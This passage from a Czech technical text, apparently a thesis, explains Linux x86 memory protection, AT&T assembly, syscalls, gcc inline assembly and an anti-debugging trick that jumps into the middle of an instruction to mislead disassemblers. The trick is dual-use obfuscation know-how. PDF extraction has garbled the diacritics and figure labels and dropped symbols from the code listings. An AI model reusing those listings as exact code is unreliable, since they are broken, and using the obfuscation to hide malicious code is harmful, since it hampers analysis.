2.3.1 Virtua´lnı´ adresnı´ prostor Podı´vejme se nynı´ podrobneˇji na pouzˇitı´ segmentovane´ a stra´nkovane´ pameˇti na Linuxu. Linuxove´ ja´dro v za´sadeˇ nevyuzˇ´ıva´ mozˇnostı´ segmentovane´ pameˇti. Protozˇe je ale na x86 segmentova´nı´ povinnou cˇa´stı´ adresace, musı´ se s tı´m ja´dro neˇjak vyporˇa´dat. Definova´ny jsou celkem 4 segmenty. Ko´dovy´ a datovy´ segment pro rezˇim ja´dra, ko´dovy´ a datovy´ segment pro uzˇivatelsky´ rezˇim. Ve zdrojovy´ch textech linuxove´ho ja´dra nalezneme pro nastavenı´ deskriptoru˚ segmentu˚ tyto hodnoty. Deskriptor segmentu vypada´ podle obra´zku 2.9. ENTRY(gdt_table) .quad 0x0000000000000000 .quad 0x0000000000000000 .quad 0x00cf9a000000ffff .quad 0x00cf92000000ffff .quad 0x00cffa000000ffff .quad 0x00cff2000000ffff
/* /* /* /* /* /*
NULL descriptor not used */ 0x10 kernel 4GB 0x18 kernel 4GB 0x23 user 4GB 0x2b user 4GB
*/ code data code data
at at at at
0x00000000 0x00000000 0x00000000 0x00000000
*/ */ */ */
Vidı´me, zˇe vsˇechny segmenty zacˇ´ınajı´ na adrese 0x00000000 a jsou velike´ 4GB. Jsou ko´dove´ cˇi datove´, nikoliv syste´move´. Dva jsou urcˇeny pro rezˇim ja´dra a majı´ DPL na nejvysˇsˇ´ı u´rovni opra´vneˇnı´. 14
http://www.fsmlabs.com/
13
31
0
Base 31:24
D D A Seg. limit G 0 V P B L 19:16 P L S
Base 15:00
31
M A ; B<=>; KHD,K 6
+4
Base 23:16
Type
+0
Segment limit 15:00
A H= ?A N N N HE @ ACKH=>@= A = HK ; 9J= AC9 ; B
B =>;D,; ?7 W ; ; HK LJ9= =>;JD,; @ A(K #; L 7*9JL @?A*K 7* 9 ; O9?AJ 7 E
0 W;
L?7*9JLL
AVL − možnost použití systémem DB − 0=16b segment, 1=32b segment S segment, 1=kódový nebo datový segment 6− 0=systémový =>;DF; ( A H 9DF ; G − granularita
Obra´zek 2.9: Deskriptor segmentu Dva jsou urcˇeny pro uzˇivatelsky´ rezˇim a majı´ nejnizˇsˇ´ı u´rovenˇ opra´vneˇnı´. Ko´dove´ segmenty majı´ v typu nastaveny prˇ´ıznaky pro cˇtenı´ a spustitelnost. Datove´ segmenty majı´ nastaveny prˇ´ıznaky pro cˇtenı´ a za´pis. Protozˇe se ko´dovy´ i datovy´ segment plneˇ prˇekry´vajı´, jsou data adresovana´ offsetem vzhledem k libovolne´mu segmentu ulozˇena na stejne´ virtua´lnı´ adrese. Prˇedstavme si naprˇ. hodnotu 0x90 ulozˇenou na adrese 0x10. Provedeme-li prˇ´ıstup na adresu 0x10 s cı´lem za´pisu, prˇ´ıstup se povede prˇes datovy´ segment a bude povolen. Zkusı´me-li spustit data na adrese 0x10, prˇ´ıstup se povede prˇes ko´dovy´ segment a bude povolen. To znamena´, zˇe v cele´m virtua´lnı´m adresnı´m prostoru lze prove´st cˇtenı´, za´pis (nestanovı´-li stra´nkova´nı´ jinak) i spusˇteˇnı´. Jednotlive´ segmenty a jejich rozdı´lne´ prˇ´ıznaky jsou odstı´neˇny. Zu˚sta´va´ pouze rozdı´l u´rovni opra´vneˇnı´ DPL. K ochraneˇ cˇa´sti virtua´lnı´ho adresnı´ho prostoru proti za´pisu linuxove´ ja´dro vyuzˇ´ıva´ stra´nkova´nı´. Polozˇka tabulky stra´nek obsahuje pro kazˇdou stra´nku 2 bity, ktere´ souvisı´ se zabezpecˇenı´m. Jeden bit se nazy´va´ U/S a je obdobou DPL u segmentu˚. Pokud proces beˇzˇ´ı s opra´vneˇnı´m CPL 3, mu˚zˇe prˇistupovat ke vsˇem stra´nka´m. Proces s opra´veˇnı´m CPL=3 smı´ prˇistupovat pouze ke stra´nka´m, ktere´ majı´ U/S bit nastaven na 1. Druhy´m du˚lezˇity´m bitem je R/W. Jeho hodnota 0 znamena´, zˇe stra´nka je prˇ´ıstupna´ pouze pro cˇtenı´. Hodnota 1 symbolizuje prˇ´ıstup pro cˇtenı´ i za´pis. Prˇi pozˇadavku procesu o prˇideˇlenı´ stra´nky se hodnota bitu U/S nastavuje podle toho, zda zˇa´da´ ja´dro, nebo uzˇivatelsky´ proces. Spustitelny´ bina´rnı´ forma´t je vnitrˇneˇ rozdeˇlen na sekce, u ktery´ch jsou prˇ´ıznaky na povolenı´ za´pisu. Prˇi zavedenı´ programu do pameˇti stra´nky prˇebı´rajı´ prˇ´ıznaky z teˇchto sekcı´. Stra´nky, ktere´ se za beˇhu programu alokujı´ pro potrˇeby za´sobnı´ku cˇi haldy, majı´ ze zrˇejmy´ch du˚vodu˚ povolenı´ za´pisu nastaveno. Prˇi vyhodnocova´nı´ prˇ´ıstupu do pameˇti se nejrˇ´ıve vyhodnocuje ochrana na u´rovni segmentu˚ a potom na u´rovni stra´nek. Mu˚zˇeme ucˇinit dva du˚lezˇite´ za´veˇry. Cely´ virtua´lnı´ adresnı´ prostor procesu je prˇ´ıstupny´ pro cˇtenı´ a spousˇteˇnı´. Stra´nky, ktere´ obsahujı´ specificke´ sekce bina´rnı´ho spustitelne´ho forma´tu, mohou by´t chra´neˇny proti za´pisu. Zbytek stra´nek ma´ prˇ´ıznak za´pisu povolen. Spustitelne´mu bina´rnı´mu forma´tu
14
ELF, ktery´ se pouzˇ´ıva´ na GNU/Linux syste´mu, je veˇnova´na prˇ´ıloha A.
2.3.2 Pouzˇite´ programove´ vybavenı´ Vsˇechny informace a uka´zkove´ programy v na´sledujı´cı´ch kapitola´ch byly platne´ k teˇmto verzı´m programove´ho vybavenı´: Distribuce Debian GNU/Linux: Woody Linuxove´ ja´dro: 2.4.18 Kompila´tor gcc: 2.95.4 Standardnı´ knihovna libc6: 2.2.5 Ladı´cı´ program gdb: 5.2.cvs2002040 GNU balı´k na´stroju˚ binutils (as, objdump, ld, ..): 2.13.90.0.10
15
Kapitola 3
Zacˇ´ına´me programovat 3.1 Potrˇebne´ na´stroje Dokumentace ke vsˇem na´stroju˚m je dostupna´ v podobeˇ manua´lovy´ch stra´nek prˇ´ıkazu man. gcc – Kompila´tor jazyka C a assembleru. Podporuje nastavitelnou optimalizaci i prˇi vkla´da´nı´ ladı´cı´ch informacı´. objdump – Vhodny´ na´stroj pro disassemblaci bina´rnı´ch souboru˚. Umozˇnˇuje vy´pis pouze vybrany´ch cˇa´stı´ a informacı´ o sekcı´ch ve spustitelne´m bina´rnı´m forma´tu ELF nebo COFF (a.out). hexdump – Sˇestna´ctkovy´ a ASCII vy´pis souboru. gdb – Ladı´cı´ program vhodny´ pro krokova´nı´. Vyuzˇ´ıva´ ladicı´ informace vkla´dane´ pomocı´ gcc nebo as. nm – Vypı´sˇe symboly ze spustitelne´ho bina´rnı´ho forma´tu. ld – Linker. ldd – Vy´pis informacı´ o dynamicky linkovany´ch knihovna´ch, ktere´ program pouzˇ´ıva´. file – Podle magicky´ch cˇ´ısel na zacˇa´tku souboru urcˇ´ı jeho typ. size – Informace o velikosti jednotlivy´ch sekci bina´rnı´ho spustitelne´ho forma´tu od – Zobrazı´ soubor ve zvolene´ cˇ´ıselne´ soustaveˇ. strip – Odstranı´ ze spustitelne´ho souboru ladı´cı´ informace. as – Kompila´tor assembleru.
16
3.2 Za´klady assembleru 3.2.1 Syntaxe AT&T Ve vsˇech operacˇnı´ch syste´mech odvozeny´ch ze syste´mu UNIX se pouzˇ´ıva´ assembler se syntaxı´ AT&T, viz [2]. Tato syntaxe se na prvnı´ pohled od zna´meˇjsˇ´ı Intel syntaxe velmi lisˇ´ı. V Intel syntaxi se prˇed registry a hodnotami nepouzˇ´ıva´ zˇa´dny´ prefix. V AT&T syntaxi je prˇed registry prefix ”%” a prˇed hodnotami prefix ”$”. Intel syntaxe pro oznacˇenı´ hexadecima´lnı´ho resp. bina´rnı´ho cˇ´ısla pouzˇ´ıva´ suffix ”h” resp. ”b”. Pokud je prvnı´ hexadecima´lnı´ cifra znak A-F, potom se hodnota oznacˇ´ı prefixem ”0”. Porˇadı´ operandu˚ je v AT&T syntaxi obra´cene´ oproti Intel syntaxi. U Intel syntaxe je prvnı´ operand cı´l a druhy´ zdroj. AT&T syntaxe uva´dı´ prvnı´ zdroj a druhy´ cı´l. Oba zpu˚soby majı´ sve´ zdu˚vodneˇnı´. U Intel syntaxe je porˇadı´ operandu˚ da´no jako prˇi psanı´ rovnice. Tedy nejvı´ce nalevo je uvedena promeˇnna´, do ktere´ ulozˇ´ıme vy´sledek z prave´ strany rovnice. AT&T syntaxe oproti tomu vyuzˇ´ıva´ prˇirozene´ho stylu cˇtenı´ zleva doprava. Slovnı´ prˇ´ıkaz ”Dej tu sklenicˇku prosı´m na stu˚l” by se v AT&T zapsal ”dej sklenicˇka, stu˚l”. Intel mov ebx, eax mov eax, 0A20h int 80h
AT&T movl %eax, %ebx movl $0xA20, %eax int $0x80
Za´pis adresy se take´ lisˇ´ı. Intel syntaxe pouzˇ´ıva´ hranate´ za´vorky. AT&T syntaxe pouzˇ´ıva´ kulate´ za´vorky. Komplexnı´ tvar prˇ´ıkazu pro vy´pocˇet adresy je u AT&T syntaxe hu˚ˇre cˇitelny´ nezˇ v Intel syntaxi. To je snad jedina´ nevy´hoda AT&T syntaxe. Intel segreg:[base+index*scale+offset] mov eax, [ebx] mov eax, [ebx+3]
AT&T segreg:offset(base,index,scale) movl (%ebx), %eax movl 3(%ebx), %eax
AT&T syntaxe prˇ´ıkazy doplnˇuje sufixem, ktery´ znacˇ´ı velikost operandu. ”l” (long) - 32b ”w” (word) - 16b ”b” (byte) - 8b AT&T syntaxe nenı´ nezbytna´ znalost pro programova´nı´ v assembleru pod Linuxem. Prˇekladacˇ, jako naprˇ. nasm1 , umı´ Intel syntaxi. Na Linuxu je nejpouzˇ´ıvaneˇjsˇ´ı prˇekladacˇ jazyka C program gcc. Ten ovsˇem generuje ko´d v AT&T syntaxi. Program prˇelozˇeny´ do assembleru je prˇeda´n kompila´toru as. Vy´sledny´ objektovy´ soubor potom zpracuje linker ld. Debugger gdb, stejneˇ jako neocenitelny´ pomocnı´k program objdump, take´ pouzˇ´ıvajı´ AT&T syntaxi. 1
http://nasm.sourceforge.net/
17
3.2.2 Funkce ja´dra a knihovnı´ funkce Na´veˇsˇtı´ start a main Budeme-li v nasˇem programu pouzˇ´ıvat pouze vola´nı´ funkcı´ ja´dra, stacˇ´ı na´m pouzˇ´ıt na zacˇa´tku programu na´veˇsˇtı´ start. Toto je startovacı´ na´veˇsˇtı´ definovane´ ve forma´tu ELF. Program musı´me ukoncˇit vola´nı´m ja´dra sys exit. Prˇi pouzˇitı´ knihovnı´ch funkcı´ knihovny libc (a jiny´ch) budeme muset k nasˇemu programu prˇikompilovat mnoho ko´du navı´c. To nejle´pe provedeme s pomocı´ kompila´toru gcc. Na´veˇsˇtı´, ktere´ hleda´ gcc, se jmenuje main. Prˇipojı´ se standardnı´ startovacı´ sekvence z libc 2 . Ta v sobeˇ obsahuje i na´veˇsˇtı´ start, ktere´ forma´t ELF vyzˇaduje. V te´to startovacı´ sekvenci se po na´veˇsˇtı´ start provede jenom nezbytna´ inicializace a potom se zavola´ funkce main(). Na´veˇsˇtı´ start a main musı´me oznacˇit direktivou .globl, aby byly viditelne´ pro linker.
Vola´nı´ funkcı´ ja´dra v assembleru Vsˇechny funkce ja´dra (syscalls) jsou cˇ´ıselneˇ definova´ny v souboru /usr/include/sys/syscall.h. Cˇ ´ıslo vola´nı´ se vlozˇ´ı do registru EAX. Argumenty funkcı´ ja´dra se zleva vkla´dajı´ do vsˇeobecny´ch registru˚. Po ˇradeˇ je to EBX, ECX, EDX, ESI, EDI. Uka´zka je na obra´zku 3.1. Jak je videˇt, pro vola´nı´, ktera´ majı´ vı´ce nezˇ 5 argumentu˚, se musı´ pouzˇ´ıt jiny´ zpu˚sob. Do registru EAX se opeˇt vlozˇ´ı cˇ´ıslo vola´nı´. Do pameˇti za sebe naskla´da´me ostatnı´ argumenty. Do registru EBX potom vlozˇ´ıme ukazatel na pocˇa´tek tohoto pole. Vsˇechna vola´nı´ ja´dra se potom spustı´ pomocı´ softwarove´ho prˇerusˇenı´ int $0x80. Na´vratova´ hodnota vola´nı´ je ulozˇena do registru EAX. Jedinou vy´jimku z vy´sˇe uvedeny´ch pravidel je vola´nı´ funkce ja´dra pro socket. Do registru EAX vlozˇ´ıme cˇ´ıslo vola´nı´ sys socket. Do registru EBX vlozˇ´ıme cˇ´ıslo, ktere´ specifikuje konkre´tnı´ funkci. Naprˇ. listen(), accept(), bind() a podobneˇ. Cˇ´ısla teˇchto funkcı´ jsou ulozˇena v soboru /usr/include/linux/net.h. Argumenty funkce potom ulozˇ´ıme jako pole do pameˇti a do registru ECX vlozˇ´ıme ukazatel na toto pole.
Vola´nı´ knihovnı´ch funkcı´ Mı´sto prˇ´ıme´ho vola´nı´ funkcı´ ja´dra mu˚zˇeme pouzˇ´ıt knihovnı´ch funkcı´. Argumenty v porˇadı´ zprava doleva vlozˇ´ıme na za´sobnı´k. Potom provedeme samotne´ vola´nı´ pomocı´ instrukce call ”funkce”. Uka´zka je na obra´zku 3.2. 2
Viz odstavec prˇ´ılohy A.2 na straneˇ xi
18
#hello1.s #kompilace: # as -o hello1.o hello1.s # ld -o hello1 hello1.o .data msg: .string ”ahoj svete\n” endmsg: .text .globl start
10
start: movl $4, %eax #sys write = 4 movl $1, %ebx #za´pis na stdout, file deskriptor 1 lea msg, %ecx #adresa rˇeteˇzce movl $(endmsg msg), %edx #de´lka rˇeteˇzce int $0x80 #samotne´ zavola´nı´ xorl %eax, %eax inc %eax xorl %ebx, %ebx int $0x80
#sys exit = 1 #na´vratova´ hodnota 0 #samotne´ vola´nı´
20
Obra´zek 3.1: Pouzˇitı´ vola´nı´ ja´dra na programu ”Ahoj sveˇte” #hello2.s #kompilace: # gcc -o hello2 hello2.s .data msg: .string ”ahoj svete\n” endmsg: .text .globl main
10
main: pushl pushl pushl call addl
$(endmsg msg) #de´lka rˇeteˇzce $msg #adresa rˇeteˇzce $1 #za´pis na stdout, file deskriptor 1 write #vola´nı´ fce write z libc $12, %esp #uklidı´me argumenty ze za´sobnı´ku
pushl $0 call exit
#na´vratova´ hodnota #vola´nı´ fce exit z libc 20
Obra´zek 3.2: Pouzˇiti knihovnı´ch funkcı´ libc na programu ”Ahoj sveˇte” 19
3.2.3 Prˇehled du˚lezˇity´ch vola´nı´ ja´dra Jme´no vola´nı´ sys exit sys write sys open sys execve sys setuid sys chroot sys dup2 sys socket
Desı´tkova´ hodnota 1 4 5 11 23 61 63 102
3.2.4 Rozdı´ly syste´mu FreeBSD Na´zev FreeBSD se pouzˇ´ıva´ jak pro oznacˇenı´ cele´ distribuce, tak pro ja´dro OS. FreeBSD je zalozˇeno na verzi UNIXu z univerzity v Berkeley, prˇesneˇji z verze 4.4BSD-Lite1. Vlastnosti Berkeley UNIXu 4.4BSD byly s oficia´nı´m UNIXem System V od Bell Laboratories sjednoceny normou POSIX. GNU/Linux take´ splnˇuje veˇtsˇinu pozˇadavku˚ normy POSIX. Dı´ky tomu se software mezi obeˇma platformami snadno prˇena´sˇ´ı. Ja´dro FreeBSD dokonce obsahuje rezˇim, pomocı´ ktere´ho doka´zˇe by´t s Linuxem i bina´rneˇ kompatibilnı´. O vy´konu a stabiliteˇ ja´dra FreeBSD oproti Linuxu se vedou dlouhe´ diskuze3 . Programova´nı´ v assembleru na FreeBSD ma´ neˇktere´ specificke´ odlisˇnosti. Argumenty se vzˇdy vkla´dajı´ na za´sobnı´k. Neza´lezˇ´ı na tom, jestli se jedna´ o vola´nı´ ja´dra nebo vola´nı´ knihovnı´ funkce. Cˇ´ıslo vola´nı´ ja´dra se nada´le ukla´da´ do registru EAX. Vola´nı´ ja´dra ocˇeka´va´ svoje parametry 4B nad vrcholem za´sobnı´ku stejneˇ, jako kdyzˇ se vola´ knihovnı´ funkce. Uka´zka je na obra´zku 3.3. Verze s pouzˇitı´m knihovnı´ch funkcı´ je identicka´ s Linuxem.
3.3 Assembler vkla´dany´ do jazyka C Obcˇas se na´m mu˚zˇe sta´t, zˇe cˇa´st ko´du v assembleru potrˇebujeme vlozˇit do jazyka C. Je to mozˇne´ pomocı´ direktivy asm nebo asm . Pokud chceme, aby vkla´dany´ assembler byl zkompilova´n prˇesneˇ tam, kde je a jak je (tedy vyhnout se optimalizaci), pouzˇijeme klı´cˇove´ slovo volatile . Jednoduche´ funkce vidı´me na obra´zku 3.4. Zmeˇnı´-li nasˇe instrukce obsah neˇktery´ch vsˇeobecny´ch registru˚, musı´me pouzˇ´ıt takzvany´ rozsˇ´ıˇreny´ vkla´dany´ assembler. Pomocı´ neˇho da´me kompila´toru gcc najevo, ktere´ registry jsme zmeˇnili, aby uzˇ da´le nepocˇ´ıtal s jejich pu˚vodnı´m obsahem. Kdyby ve funkci end() na obra´zku 3.4 nesˇlo o vola´nı´ sys exit, po ktere´m se program bezprostrˇedneˇ ukoncˇ´ı, tak by dalsˇ´ı prova´deˇnı´ ko´du velmi pravdeˇpodobneˇ skoncˇilo chybou. Da´le je na obra´zku uvedena mozˇnost definice maker s vkla´dany´m assemblerem. 3
http://www.byte.com/documents/s=1794/byt20011107s0001/
20
#hello3.s .data msg: .string ”ahoj svete\n” endmsg: .text .globl start start: pushl $(endmsg msg) pushl $msg pushl $1 movl $4, %eax call syscall addl $12, %esp
#de´lka rˇeteˇzce #adresa rˇetezce #za´pis na stdout #sys write = 4 #provedeme vola´nı´ pomocı´ call #tı´m se argumenty dostanou 4B nad vrchol za´sobnı´ku #uklidı´me za´sobnı´k
pushl $0 movl $1, %eax call syscall
#na´vratova´ hodnota #sys exit = 1 #vola´nı´ pomocı´ call
10
20
sycall: int $0x80 ret
#samotne´ vola´nı´ ja´dra #na´vrat z podprocedury
Obra´zek 3.3: Rozdı´l ve vola´nı´ funkcı´ ja´dra na FreeBSD oproti Linuxu
/* uka´zka definice makra */ #define disable asm volatile (”cli”) #define enable asm volatile (”sti”) /* uka´zka definice funkce */ void end() asm (” movl $1, %eax //sys_exit xorl %ebx, %ebx int $0x80 ”);
10
Obra´zek 3.4: Jednoduchy´ vkla´dany´ assembler do jazyka C
21
3.3.1 Rozsˇ´ırˇeny´ vkla´dany´ assembler Rozsˇ´ıˇreny´ vkla´dany´ assembler ma´ tento tvar za´pisu (odvozeno z Watcom syntaxe): asm (”instrukce” : vy´stupnı´ registry : vstupnı´ registry : zmeˇneˇne´ registry); Ve vstupnı´ a vy´stupnı´ cˇa´sti rozsˇ´ıˇrene´ho vkla´dane´ho assembleru se pro oznacˇenı´ registru˚ mu˚zˇe pouzˇ´ıt teˇchto zkratek (musı´ by´t v uvozovka´ch): a %eax b %ebx c %ecx d %edx S %esi D %edi q libovolny´ z registru˚ %eax, %ebx, %ecx, %edx r libovolny´ z registru˚ jako u q a navı´c %esi, %edi A zkombinovane´ %eax a %edx na 64b dlouhe´ cele´ cˇ´ıslo Vy´raz v jazyku C, jehozˇ hodnotu chceme ulozˇit do registru, musı´me da´t do kulaty´ch za´vorek. Vstupnı´ch, vy´stupnı´ch a modifikovany´ch registru˚ mu˚zˇe by´t uvedeno vı´ce, potom je oddeˇlujeme cˇa´rkami. V seznamu zmeˇneˇny´ch registru˚ uva´dı´me v uvozovka´ch plna´ jme´na registru˚. V instrukcˇnı´ cˇa´sti se prˇed jme´no registru vkla´da´ jesˇteˇ jeden znak ”%”. Vy´stupnı´ registry uvozujeme prefixem ”=”. Registry, ktere´ pouzˇijeme jako vstupnı´ a vy´stupnı´, nemusı´me uva´deˇt do seznamu zmeˇneˇny´ch registru˚. gcc do vstupnı´ch a vy´stupnı´ch registru˚ ulozˇ´ı pozˇadovanou hodnotu a da´le pocˇ´ıta´, zˇe tam tato hodnota je.
asm (”cld rep stosl” : /* zˇa´dne´ vy´stupnı´ registry */ : ”c” (count), ”a” (fill value), ”D” (dest) : ”%ecx”, ”%edi” );
Obra´zek 3.5: Rozsˇ´ıˇreny´ vkla´dany´ assembler do jazyka C Vy´sledkem cˇa´sti ko´du na obra´zku 3.5 bude zkopı´rova´nı´ hodnoty fill value na adresu dest. Kopı´rova´nı´ se provede podle hodnoty count. Jediny´ registr EAX se nezmeˇnil. Hodnota v registru ECX se postupneˇ snizˇuje a ukazatel v EDI zvysˇuje. Musı´me tedy oba registry uve´st do seznamu zmeˇneˇny´ch registru˚. Tı´m ozna´mı´me gcc, zˇe v teˇchto registrech uzˇ da´le nenı´ hodnota, ktera´ tam byla prˇed blokem vkla´dane´ho assembleru, a ani tam nenı´ hodnota, kterou jsme nastavili ve vstupnı´ cˇa´sti. V prˇ´ıpadeˇ, zˇe nepotrˇebujeme pouzˇ´ıt konkre´tnı´ registr, je gcc schopno vybrat samo vhodny´ registr. Tento vhodny´ registr vybere tak, aby v neˇm jizˇ z prˇedchozı´ho prova´deˇnı´ ko´du byla pozˇadovana´ hodnota. Nebo se pouzˇije registr, ktery´ je volny´. Prˇi pouzˇitı´ te´to optimalizace se registry oznacˇujı´ symboly %0 azˇ %9. Ocˇ´ıslova´nı´ registru˚ se deˇje zleva doprava pocˇ´ınaje vy´stupnı´mi registry a koncˇe vstupnı´mi registry.
22
/* rozsirasm2.c * Kompilace: * gcc rozsirasm2.c -o rozsirasm2 * Spusˇteˇnı´: * ./rozsirasm2 */ #include
stdio.h
10
int main() int x=10, y=20; asm volatile (”addl %%ebx, %%eax” : ”=eax” (x) //vy´stup : ”eax” (x), ”ebx” (y) //vstup //zmeˇna zrˇejma´ z vy´stupu ); printf(”x+y=%d\n”,x); return 0;
20
Obra´zek 3.6: Zmeˇneˇna obsahu registru˚ Prˇejeme-li si pouzˇ´ıt tenty´zˇ registr, ktery´ byl oznacˇen symboly %0 azˇ %9 ve vstupneˇ-vy´stupnı´ cˇa´sti, odkazujeme se symboly ”0” azˇ ”9”. Vsˇe je uka´za´no na obra´zku 3.7.
int multi5(int x) asm (”lea (%0, %0, 4), %0” : ”=r” (x) //vy´stup : ”0” (x) //vstup ); return x;
Obra´zek 3.7: Velmi rychle´ na´sobenı´ 5ti Nejdrˇ´ıve gcc ozna´mı´me, zˇe obsah neˇktere´ho z registru˚ EAX azˇ EDX a ESI, EDI budeme ve fina´le chtı´t ulozˇit do promeˇnne´ x. Necha´me gcc, aby samo vhodny´ registr vybralo, a budeme ho oznacˇovat znakem %0. Da´le gcc ozna´mı´me, zˇe hodnotu promeˇne´ x chceme ulozˇit do registru, ktery´ si uzˇ oznacˇil cˇ´ıslem 0. Tı´mto se na´m tedy povede prove´st cele´ na´sobenı´ pouze pomocı´ jednoho registru. Navı´c take´ pouze v jednom cyklu pomocı´ instrukce lea. Vy´pocˇet probı´ha´ takto: Necht’vybrany´m registrem je trˇeba EAX. Do EAX ulozˇ´ıme hodnotu promeˇne´ x. Vola´nı´ instrukce lea se rozvine do lea (%eax,%eax,$4), %eax. Vy´pocˇet adresy jizˇ zna´me. Za´pis posun(za´klad, index, meˇˇr´ıtko) odpovı´da´ vy´pocˇtu za´klad + index*meˇrˇ´ıtko + posun.
23
Poslednı´m prˇ´ıkladem bude zı´ska´nı´ pocˇtu provedeny´ch cyklu˚ procesoru od zapnutı´ pocˇ´ıtacˇe a ulozˇenı´ do 64b promeˇnne´ stamp. Instrukci rdtsc (implementova´na od modelu Pentium) pro zajı´mavost zako´dujeme prˇ´ımo ve strojove´m ko´du. Obra´zek 3.8. Vı´ce informacı´ o vkla´dane´m assembleru v literaturˇe [2].
asm (”.byte 0x0f; .byte 0x31” //instrukce rdtsc : ”=A” (stamp) //vy´stup : //zˇa´dny´ vstup : ”%eax”, ”%edx” ); //zmeˇneˇne´ registry
Obra´zek 3.8: Zı´ska´nı´ pocˇtu provedeny´ch cyklu˚ procesoru
24
Kapitola 4
Ochrana ko´du - antidebugging Snaha skry´t implementacˇnı´ detaily je cˇasta´ naprˇ. u softwarovy´ch ochran proti nelega´lnı´mu kopı´rova´nı´. ´ tocˇnı´k sice vzˇdy mu˚zˇe prove´st analy´zu disassemblovane´ho ko´du, ale existujı´ postupy jak tuto analy´zu U ztı´zˇit. Je nutne´ ˇr´ıci, zˇe u´plne´ zabezpecˇenı´ nenı´ mozˇne´. Bude-li u´tocˇnı´k zna´t dobrˇe strojovy´ ko´d, tak falesˇna´ disassemblace nebo nemozˇnost trasova´nı´ ho nezastavı´. Prvnı´m krokem musı´ by´t odstraneˇnı´ tabulky symbolu˚ pomocı´ programu strip. Tı´m se zbavı´me spojitosti s pu˚vodnı´m zdrojovy´m programem v jazyku C. Program, ktery´ jizˇ neobsahuje zˇa´dne´ na´veˇsˇtı´, se velmi sˇpatneˇ trasuje. Breakpointy jizˇ je naprˇ´ıklad mozˇne´ nastavovat jenom podle adresy. Najı´t v disassemblaci z programu objdump cˇa´st, ktera´ je zajı´mava´, je take´ pomeˇrneˇ teˇzˇke´ a vyzˇaduje mnoho zkusˇenostı´. Nejspolehliveˇjsˇ´ı ochrana a zmatenı´ u´tocˇnı´ka spocˇ´ıva´ v kombinaci neˇktery´ch z na´sledujı´cı´ch metod.
4.1 Falesˇny´ disassembler Pojd’me se podı´vat na ochranu prvnı´ - falesˇny´ prˇevod ze strojove´ho ko´du do assembleru. Provedeme ho elegantnı´m skokem doprostrˇed instrukce. Nasˇe skutecˇna´ instrukce bude zacˇ´ınat pra´veˇ uprostrˇed instrukce jine´. Disassembler toto samozrˇejmeˇ nepozna´ a bude se pu˚vodnı´ instrukci snazˇit deko´dovat celou. Tı´m dojde v disassemblaci k posunu oproti skutecˇne´mu toku instrukcı´. Prˇ´ıklad na obra´zku 4.1. Zakomentujeme-li cˇa´st vkla´dane´ho assembleru ve zdrojove´m textu antidebug1.c, disassemblace bude vypadat podle obra´zku 4.2. Necha´me-li ochranu nezakomentovanou, dostaneme vy´pis obdobny´ obra´zku 4.3. Disassembler nejdrˇ´ıve narazı´ na strojovy´ ekvivalent instrukce jmp antidebug. Prˇeklad do assembleru se provede spra´vneˇ. Pote´ narazı´ na strojovy´ ko´d 9a00. O ko´du 9a disassembler vı´, zˇe patrˇ´ı instrukci lcall a jeho soucˇa´stı´ je jesˇteˇ 6 dalsˇ´ıch bytu˚. Tudı´zˇ strojovy´ ko´d, ktery´ jizˇ odpovı´da´ vola´nı´ funkce protect(), prˇelozˇ´ı jako dalsˇ´ı byty instrukce lcall. Tı´m dojde k posunu.
25
/* antidebug1.c * Kompilace: * gcc antidebug1.c -o antidebug1 -g */
void protect() int main() asm (” jmp antidebug .short 0x009a antidebug: ”);
10
protect(); return 0;
Obra´zek 4.1: Ochrana pomocı´ falesˇne´ disassemblace
(gdb) disassemble main Dump of assembler code for function main: push %ebp 0x80483c8 main : 0x80483c9 main+1 : mov %esp,%ebp 0x80483cb main+3 : sub $0x8,%esp 0x80483ce main+6 : call 0x80483c0 0x80483d3 main+11 : xor %eax,%eax 0x80483d5 main+13 : jmp 0x80483d7 0x80483d7 main+15 : leave 0x80483d8 main+16 : ret End of assembler dump. (gdb)
protect
main+15
10
Obra´zek 4.2: Disassemblace antidebug1.c bez ochrany
26
(gdb) disassemble main Dump of assembler code for function main: push %ebp 0x80483c8 main : 0x80483c9 main+1 : mov %esp,%ebp 0x80483cb main+3 : sub $0x8,%esp 0x80483ce main+6 : jmp 0x80483d2 antidebug 0x80483d0 main+8 : lcall $0xffff,$0xffe9e800 0x80483d7 antidebug+5 : xor %eax,%eax 0x80483d9 antidebug+7 : jmp 0x80483e0 antidebug+14 0x80483db antidebug+9 : nop 0x80483dc antidebug+10 : lea 0x0(%esi,1),%esi 0x80483e0 antidebug+14 : leave 0x80483e1 antidebug+15 : ret End of assembler dump. (gdb)
Obra´zek 4.3: Falesˇny´ disassembler Tento posun se vsˇak po neˇkolika instrukcı´ch mu˚zˇe ztratit. Za´lezˇ´ı, jak brzy se ve falesˇne´ disassemblaci objevı´ jedno a dvou bytove´ instrukce. Dı´ky nim brzy dojde ke ztra´teˇ posunu. Je proto vhodne´ opravdu du˚lezˇitou rutinu opakovaneˇ prokla´dat obdobny´mi konstrukcemi. Jak se te´to ochrany zbavit? Mu˚zˇe se na´m sta´t, zˇe budeme sta´t naprˇ´ıklad proti viru, ktery´ bude zabezpecˇen touto technikou. Vsˇimneme si toho pomeˇrneˇ snadno. V disassembleru uvidı´me skok na adresu, ktera´ odpovı´da´ skoku do poloviny neˇjake´ instrukce. Nejsou-li odstraneˇny na´zvy na´veˇsˇtı´ funkcı´, tak viditelny´ skok doprostrˇed funkce je take´ pozdezrˇely´. Stacˇ´ı si spocˇ´ıtat kolik bytu˚ skok prˇedstavuje. V neˇktere´m z mnoha hexa-editoru˚ tyto prˇeskakovane´ byty prˇepı´sˇeme instrukcı´ o stejne´m pocˇtu bytu˚. Funkci programu to nijak neovlivnı´, protozˇe tato instrukce bude prˇeskocˇena. Vy´pis disassembleru vsˇak jizˇ nynı´ bude spra´vneˇ zarovna´n. Nejvhodneˇjsˇ´ı je opakovaneˇ pouzˇ´ıt instrukci nop, ktere´ odpovı´da´ pra´veˇ jeden byte. Jejı´ hodnota je 0x90.
